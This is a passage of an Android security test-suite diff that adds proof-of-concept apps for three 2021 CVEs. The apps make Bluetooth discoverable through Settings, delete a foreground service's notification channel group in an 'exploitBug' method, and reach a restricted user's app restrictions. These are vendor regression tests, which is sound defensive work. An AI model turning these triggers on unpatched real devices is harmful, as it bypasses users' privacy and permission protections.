"License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<resources> + <string name="allowButtonResName">android:id/button1</string> + <string name="btAction">btAction</string> + <string name="className">.Settings$ConnectedDeviceDashboardActivity</string> + <string name="defaultSemaphoreMsg">Could not get message key in shared preferences</string> + <string name="defaultSettingsPkg">com.android.settings</string> + <string name="failMessage">Vulnerable to b/194695497 !!</string> + <string name="messageKey">message</string> + <string name="resultKey">result</string> + <string name="sharedPreferences">CVE_2021_39626_prefs</string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java index cd245400fc9..6bb8d166080 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java @@ -18,14 +18,15 @@ package android.security.cts.CVE_2021_39626; import static org.junit.Assert.assertFalse; import static org.junit.Assume.assumeNoException; -import static org.junit.Assume.assumeNotNull; import static org.junit.Assume.assumeTrue; import android.bluetooth.BluetoothAdapter; import android.content.ComponentName; import android.content.Context; import android.content.Intent; -import android.content.pm.PackageManager; +import android.content.SharedPreferences; +import android.content.SharedPreferences.OnSharedPreferenceChangeListener; +import android.content.res.Resources; import android.provider.Settings; import androidx.test.InstrumentationRegistry; @@ -34,69 +35,121 @@ import androidx.test.uiautomator.By; import androidx.test.uiautomator.UiDevice; import androidx.test.uiautomator.Until; +import org.junit.After; import org.junit.Test; import org.junit.runner.RunWith; +import java.util.concurrent.Semaphore; +import java.util.concurrent.TimeUnit; + @RunWith(AndroidJUnit4.class) public class DeviceTest { - private static final int TIMEOUT = 5000; - private static Context context; + static final int TIMEOUT = 10000; + boolean mBtState = false; + BluetoothAdapter mBtAdapter; + Context mContext; + OnSharedPreferenceChangeListener mListener; + Resources mResources; + SharedPreferences mSharedPrefs; + Semaphore mPreferenceChanged; + UiDevice mDevice; - private static String getSettingsPkgName() { + private String getSettingsPkgName() { Intent settingsIntent = new Intent(Settings.ACTION_SETTINGS); ComponentName settingsComponent = - settingsIntent.resolveActivity(context.getPackageManager()); + settingsIntent.resolveActivity(mContext.getPackageManager()); String pkgName = settingsComponent != null ? settingsComponent.getPackageName() - : "com.android.settings"; - assumeNotNull(pkgName); + : mContext.getString(R.string.defaultSettingsPkg); return pkgName; } - private void openApplication(String applicationName) { - Intent intent = context.getPackageManager().getLaunchIntentForPackage(applicationName); - assumeNotNull(intent); - intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + @After + public void tearDown() { try { - context.startActivity(intent); + // Disable bluetooth if it was OFF before the test + if (!mBtState) { + Intent intent = new Intent(mContext, PocActivity.class); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.putExtra(mContext.getString(R.string.btAction), + BluetoothAdapter.ACTION_REQUEST_DISABLE); + mContext.startActivity(intent); + } + mPreferenceChanged = new Semaphore(0); + mPreferenceChanged.tryAcquire(TIMEOUT, TimeUnit.MILLISECONDS); + int result = mSharedPrefs.getInt(mResources.getString(R.string.resultKey), + mResources.getInteger(R.integer.assumptionFailure)); + String message = mSharedPrefs.getString(mResources.getString(R.string.messageKey), + mResources.getString(R.string.defaultSemaphoreMsg)); + + // Go to home screen + mDevice.pressHome(); } catch (Exception e) { - assumeNoException(e); + // ignore the exception } } @Test public void testBtDiscoverable() { - // Initialize UiDevice instance - UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation()); - context = InstrumentationRegistry.getInstrumentation().getContext(); - BluetoothAdapter btAdapter = BluetoothAdapter.getDefaultAdapter(); - assumeNotNull(btAdapter); - - // Save the state of bluetooth adapter to reset after the test - boolean btState = btAdapter.isEnabled(); - if (!btState) { - // If bluetooth is disabled, enable it and wait for adapter startup to complete - assumeTrue(btAdapter.enable()); - try { - Thread.sleep(TIMEOUT); - } catch (Exception e) { - assumeNoException(e); - } - } - assumeTrue(btAdapter.isEnabled()); + try { + // Initialize UiDevice instance + mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation()); + mContext = InstrumentationRegistry.getInstrumentation().getContext(); + mBtAdapter = BluetoothAdapter.getDefaultAdapter(); - // Launch the PoC application and ensure that it launches bluetooth settings - openApplication(context.getPackageName()); - assumeTrue(device.wait(Until.hasObject(By.pkg(getSettingsPkgName())), TIMEOUT)); + // Save the state of bluetooth adapter to reset after the test + mBtState = mBtAdapter.isEnabled(); - boolean isBtDiscoverable = - (btAdapter.getScanMode() == btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE); + // If bluetooth is disabled, enable it and wait for start activity to complete + Intent intent = new Intent(mContext, PocActivity.class); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.putExtra(mContext.getString(R.string.btAction), + BluetoothAdapter.ACTION_REQUEST_ENABLE); + mContext.startActivity(intent); + mResources = mContext.getResources(); - // Disable bluetooth if it was OFF before the test - if (!btState) { - btAdapter.disable(); - } + mSharedPrefs = mContext.getSharedPreferences( + mResources.getString(R.string.sharedPreferences), Context.MODE_APPEND); + mPreferenceChanged = new Semaphore(0); + mListener = new OnSharedPreferenceChangeListener() { + @Override + public void onSharedPreferenceChanged(SharedPreferences sharedPreferences, + String key) { + if (key.equals(mResources.getString(R.string.resultKey))) { + mPreferenceChanged.release(); + } + } + }; + mSharedPrefs.registerOnSharedPreferenceChangeListener(mListener); + mPreferenceChanged.tryAcquire(TIMEOUT, TimeUnit.MILLISECONDS); - // The test fails if bluetooth is made discoverable through PoC - assertFalse("Vulnerable to b/194695497 !!", isBtDiscoverable); + int result = mSharedPrefs.getInt(mResources.getString(R.string.resultKey), + mResources.getInteger(R.integer.assumptionFailure)); + String message = mSharedPrefs.getString(mResources.getString(R.string.messageKey), + mResources.getString(R.string.defaultSemaphoreMsg)); + assumeTrue(message, result != mResources.getInteger(R.integer.assumptionFailure)); + + // Checking if bluetooth is enabled. The test requires bluetooth to be enabled, + // assumption failing the test if it's not enabled + assumeTrue(mBtAdapter.isEnabled()); + + // Launch bluetooth settings which is supposed to set scan mode to + // SCAN_MODE_CONNECTABLE_DISCOVERABLE if vulnerability is active + intent = new Intent(); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + String settingsPkg = getSettingsPkgName(); + intent.setClassName(settingsPkg, settingsPkg + mContext.getString(R.string.className)); + mContext.startActivity(intent); + + assumeTrue(mDevice.wait(Until.hasObject(By.pkg(settingsPkg)), TIMEOUT)); + + boolean isBtDiscoverable = false; + isBtDiscoverable = + (mBtAdapter.getScanMode() == mBtAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE); + + // The test fails if bluetooth is made discoverable through PoC + assertFalse(mContext.getString(R.string.failMessage), isBtDiscoverable); + } catch (Exception e) { + assumeNoException(e); + } } } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java index d4425ff0eb3..9a43cd19f31 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java @@ -16,24 +16,88 @@ package android.security.cts.CVE_2021_39626; -import static org.junit.Assume.assumeNoException; - import android.app.Activity; +import android.bluetooth.BluetoothAdapter; +import android.bluetooth.BluetoothManager; +import android.content.Context; import android.content.Intent; +import android.content.SharedPreferences; import android.os.Bundle; -import android.provider.Settings; + +import androidx.annotation.IntegerRes; +import androidx.test.InstrumentationRegistry; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.UiObject2; +import androidx.test.uiautomator.Until; public class PocActivity extends Activity { + private static final int TIMEOUT = 5000; + private static final int REQUEST_ENABLE_BT = 1; + private static final int REQUEST_DISABLE_BT = 2; + + int getInteger(@IntegerRes int resId) { + return getResources().getInteger(resId); + } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); - Intent intent = new Intent(); - intent.setAction(Settings.ACTION_BLUETOOTH_SETTINGS); try { - startActivity(intent); + String action = getIntent().getStringExtra(getString(R.string.btAction)); + UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation()); + BluetoothManager bluetoothManager = getSystemService(BluetoothManager.class); + BluetoothAdapter bluetoothAdapter = bluetoothManager.getAdapter(); + int code = REQUEST_ENABLE_BT; + if (action.equals(BluetoothAdapter.ACTION_REQUEST_DISABLE)) { + code = REQUEST_DISABLE_BT; + } + + if ((action.equals(BluetoothAdapter.ACTION_REQUEST_ENABLE) + && !bluetoothAdapter.isEnabled()) + || (action.equals(BluetoothAdapter.ACTION_REQUEST_DISABLE) + && bluetoothAdapter.isEnabled())) { + Intent enableBtIntent = new Intent(action); + startActivityForResult(enableBtIntent, code); + + // Wait for the activity to appear and the allow button + device.wait(Until.hasObject(By.res(getString(R.string.allowButtonResName))), + TIMEOUT); + + // Click on the allow button + UiObject2 object = + device.findObject(By.res(getString(R.string.allowButtonResName))); + object.click(); + } else { + sendTestResult(getInteger(R.integer.pass), ""); + finish(); + return; + } } catch (Exception e) { - assumeNoException(e); + sendTestResult(getInteger(R.integer.assumptionFailure), e.getMessage()); + return; + } + } + + @Override + protected void onActivityResult(int requestCode, int resultCode, Intent data) { + if (requestCode == REQUEST_ENABLE_BT && resultCode == Activity.RESULT_OK) { + finish(); + sendTestResult(getInteger(R.integer.enabled), ""); + } else if (requestCode == REQUEST_DISABLE_BT && resultCode == Activity.RESULT_OK) { + finish(); + sendTestResult(getInteger(R.integer.disabled), ""); + } + } + + private void sendTestResult(int result, String message) { + SharedPreferences sh = + getSharedPreferences(getString(R.string.sharedPreferences), Context.MODE_PRIVATE); + if (sh != null) { + SharedPreferences.Editor edit = sh.edit(); + edit.putInt(getString(R.string.resultKey), result); + edit.putString(getString(R.string.messageKey), message); + edit.commit(); } } } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/Android.bp new file mode 100644 index 00000000000..044a5f5a161 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/Android.bp @@ -0,0 +1,38 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CVE-2021-39704", + defaults: [ + "cts_support_defaults", + ], + srcs: [ + "src/**/*.java", + ], + test_suites: [ + "sts", + ], + static_libs: [ + "androidx.test.core", + "androidx.test.rules", + ], + sdk_version: "current", +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/AndroidManifest.xml new file mode 100644 index 00000000000..70b7a736be5 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/AndroidManifest.xml @@ -0,0 +1,40 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +--> +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.CVE_2021_39704"> + <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /> + <uses-permission android:name="android.permission.FOREGROUND_SERVICE" /> + <application + android:supportsRtl="true"> + <service + android:name=".PocService" + android:exported="true"> + </service> + <activity + android:name=".PocActivity" + android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + <category android:name="android.intent.category.LAUNCHER" /> + </intent-filter> + </activity> + </application> + + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2021_39704" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/integers.xml new file mode 100644 index 00000000000..ec924a9a275 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/integers.xml @@ -0,0 +1,24 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<resources> + <integer name="pass">2</integer> + <integer name="timeoutMs">5000</integer> + <integer name="assumptionFailure">3</integer> + <integer name="fail">1</integer> + <integer name="width">50</integer> + <integer name="height">50</integer> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/strings.xml new file mode 100644 index 00000000000..ab82c01b528 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/strings.xml @@ -0,0 +1,27 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<resources> + <string name="channel">channel</string> + <string name="failMessage">Failed to open </string> + <string name="group">group</string> + <string name="groupId">groupId</string> + <string name="messageKey">messageKey</string> + <string name="passMessage">Passed</string> + <string name="resultKey">resultKey</string> + <string name="sharedPreference">sharedPreference</string> + <string name="vulnerableMessage">Vulnerable to b/209965481</string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/DeviceTest.java new file mode 100644 index 00000000000..633622957d0 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/DeviceTest.java @@ -0,0 +1,85 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39704; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static org.junit.Assert.assertNotEquals; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeTrue; + +import android.content.Context; +import android.content.Intent; +import android.content.SharedPreferences; +import android.content.SharedPreferences.OnSharedPreferenceChangeListener; +import android.content.pm.PackageManager; + +import androidx.test.runner.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.util.concurrent.TimeUnit; +import java.util.concurrent.Semaphore; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + + @Test + public void testdeleteNotificationChannelGroup() { + try { + Context context = getApplicationContext(); + PackageManager packageManager = context.getPackageManager(); + Intent intent = packageManager + .getLaunchIntentForPackage(context.getPackageName()); + intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + + context.startActivity(intent); + SharedPreferences sh = context.getSharedPreferences( + context.getString(R.string.sharedPreference), + Context.MODE_APPEND); + final Semaphore preferenceChanged = new Semaphore(0); + OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() { + @Override + public void onSharedPreferenceChanged( + SharedPreferences sharedPreferences, String key) { + if (key.equals(context.getString(R.string.resultKey))) { + if (sharedPreferences.getInt(key, 0) == context + .getResources().getInteger(R.integer.pass)) { + preferenceChanged.release(); + } + } + } + }; + sh.registerOnSharedPreferenceChangeListener(listener); + preferenceChanged.tryAcquire( + context.getResources().getInteger(R.integer.timeoutMs), + TimeUnit.MILLISECONDS); + + int result = sh.getInt(context.getString(R.string.resultKey), + context.getResources().getInteger(R.integer.pass)); + String message = sh.getString( + context.getString(R.string.messageKey), + context.getString(R.string.passMessage)); + assumeTrue(message, result != context.getResources() + .getInteger(R.integer.assumptionFailure)); + assertNotEquals(message, result, + context.getResources().getInteger(R.integer.fail)); + } catch (Exception e) { + assumeNoException(e); + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocActivity.java new file mode 100644 index 00000000000..60ce757808f --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocActivity.java @@ -0,0 +1,59 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39704; + +import android.app.Activity; +import android.Manifest; +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.content.SharedPreferences; +import android.os.Bundle; + +//PocActitvity is required because requestPermissions needs to implemented to request location permission. +public class PocActivity extends Activity { + + @Override + protected void onCreate(Bundle savedInstanceState) { + try { + super.onCreate(savedInstanceState); + if (this.checkCallingOrSelfPermission( + Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED) { + startForegroundService(new Intent(this, PocService.class)); + this.requestPermissions( + new String[] { + Manifest.permission.ACCESS_COARSE_LOCATION },0); + } + } catch (Exception e) { + setExceptionStatus(e.toString(), + getResources().getInteger(R.integer.assumptionFailure)); + } + } + + private void setExceptionStatus(String message, int status) { + try { + SharedPreferences sh = getSharedPreferences( + getString(R.string.sharedPreference), Context.MODE_PRIVATE); + SharedPreferences.Editor edit = sh.edit(); + edit.putInt(getString(R.string.resultKey), status); + edit.putString(getString(R.string.messageKey), message); + edit.commit(); + } catch (Exception e) { + // ignore exception + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocService.java new file mode 100644 index 00000000000..23303c3c23c --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocService.java @@ -0,0 +1,103 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39704; + +import android.app.Notification; +import android.app.NotificationChannel; +import android.app.NotificationChannelGroup; +import android.app.NotificationManager; +import android.app.Service; +import android.content.Context; +import android.content.Intent; +import android.content.res.Resources; +import android.content.SharedPreferences; +import android.graphics.Bitmap; +import android.graphics.Canvas; +import android.graphics.Color; +import android.graphics.drawable.Icon; +import android.os.IBinder; + +//PocService is needed to build the notification when the service starts. +public class PocService extends Service { + + @Override + public IBinder onBind(Intent intent) { + return null; + } + + @Override + public void onCreate() { + try { + exploitBug(); + super.onCreate(); + } catch (Exception e) { + setResult(getResources().getInteger(R.integer.assumptionFailure), + e.getMessage()); + } + } + + void exploitBug() { + try { + final NotificationManager notificationManager = getSystemService( + NotificationManager.class); + final String id = getString(R.string.channel); + final String groupId = getString(R.string.groupId); + notificationManager.createNotificationChannelGroup( + new NotificationChannelGroup(groupId, + getString(R.string.group))); + NotificationChannel notificationChannel = new NotificationChannel( + id, id, NotificationManager.IMPORTANCE_HIGH); + notificationChannel.setGroup(groupId); + notificationManager.createNotificationChannel(notificationChannel); + Notification notification = new Notification.Builder(this, id) + .setSmallIcon(createNotificationIcon()).build(); + startForeground(1, notification); + setResult(getResources().getInteger(R.integer.fail), + getString(R.string.vulnerableMessage)); + notificationManager.deleteNotificationChannelGroup(groupId); + setResult(getResources().getInteger(R.integer.fail), + getString(R.string.vulnerableMessage)); + } catch (SecurityException e) { + setResult(getResources().getInteger(R.integer.pass), + getString(R.string.passMessage)); + } + } + + private void setResult(int result, String message) { + try { + SharedPreferences sh = getSharedPreferences( + getString(R.string.sharedPreference), Context.MODE_PRIVATE); + SharedPreferences.Editor edit = sh.edit(); + edit.putInt(getString(R.string.resultKey), result); + edit.putString(getString(R.string.messageKey), message); + edit.commit(); + } catch (Exception e) { + // ignore exception + } + } + + Icon createNotificationIcon() { + Resources resources = getResources(); + Bitmap testBitmap = Bitmap.createBitmap( + resources.getInteger(R.integer.width), + resources.getInteger(R.integer.height), + Bitmap.Config.ARGB_8888); + final Canvas canvas = new Canvas(testBitmap); + canvas.drawColor(Color.BLUE); + return Icon.createWithBitmap(testBitmap); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/Android.bp new file mode 100644 index 00000000000..517619afdab --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/Android.bp @@ -0,0 +1,39 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CVE-2021-39707", + defaults: [ + "cts_support_defaults", + ], + srcs: [ + "src/**/*.java", + ], + test_suites: [ + "sts", + ], + static_libs: [ + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + "androidx.test.core", + ], + platform_apis: true, +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/AndroidManifest.xml new file mode 100644 index 00000000000..bfb3943ba87 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/AndroidManifest.xml @@ -0,0 +1,38 @@ +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:tools="http://schemas.android.com/tools" + package="android.security.cts.CVE_2021_39707"> + <application android:label="@string/testAppLabel"> + <receiver android:name=".PocReceiver" + android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.GET_RESTRICTION_ENTRIES" /> + </intent-filter> + </receiver> + <activity android:name=".PocActivity" + android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.CALL_PRIVILEGED" /> + <category android:name="android.intent.category.DEFAULT" /> + <data android:scheme="tel" /> + </intent-filter> + </activity> + </application> + <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2021_39707" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/res/values/strings.xml new file mode 100644 index 00000000000..902f48ce1ea --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/res/values/strings.xml @@ -0,0 +1,27 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright (C) 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +--> + +<resources> + <string name="defaultSettingsPkgName">com.android.settings</string> + <string name="resTestAppIcon">%1$s:id/app_restrictions_settings</string> + <string name="testAppLabel">CVE-2021-39707</string> + <string name="testFailMsg">Device is vulnerable to b/200688991!!</string> + <string name="textAppContentAccess">App & content access</string> + <string name="textRestrictedUser">CVE_2021_39707_RestrictedUser</string> + <string name="timedOutMsg">Timed out waiting for text/res \'%1$s\' on display</string> + <string name="uriData">tel:555-TEST</string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/DeviceTest.java new file mode 100644 index 00000000000..db3acb09a05 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/DeviceTest.java @@ -0,0 +1,106 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39707; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; + +import static org.junit.Assert.assertFalse; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeTrue; + +import android.content.Context; +import android.content.Intent; +import android.provider.Settings; +import android.telecom.TelecomManager; + +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.BySelector; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.UiObject2; +import androidx.test.uiautomator.UiScrollable; +import androidx.test.uiautomator.UiSelector; +import androidx.test.uiautomator.Until; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + + @Test + public void testAppRestrictionsFragment() { + try { + /* Start the "User Settings" window */ + Intent intent = new Intent(Settings.ACTION_USER_SETTINGS); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK); + Context context = getApplicationContext(); + context.startActivity(intent); + String settingsPkgName = + intent.resolveActivity(context.getPackageManager()).getPackageName(); + settingsPkgName = + (settingsPkgName == null) ? context.getString(R.string.defaultSettingsPkgName) + : settingsPkgName; + + /* + * Click on the text "CVE_2021_39707_RestrictedUser", the restricted user that we added + * before + */ + final int uiTimeoutMs = 5000; + String textRestrictedUser = context.getString(R.string.textRestrictedUser); + BySelector selector = By.text(textRestrictedUser); + UiDevice device = UiDevice.getInstance(getInstrumentation()); + assumeTrue(context.getString(R.string.timedOutMsg, textRestrictedUser), + device.wait(Until.hasObject(selector), uiTimeoutMs)); + device.findObject(selector).click(); + + /* Click on the text "App & content access" */ + String textAppContentAccess = context.getString(R.string.textAppContentAccess); + selector = By.text(textAppContentAccess); + assumeTrue(context.getString(R.string.timedOutMsg, textAppContentAccess), + device.wait(Until.hasObject(selector), uiTimeoutMs)); + 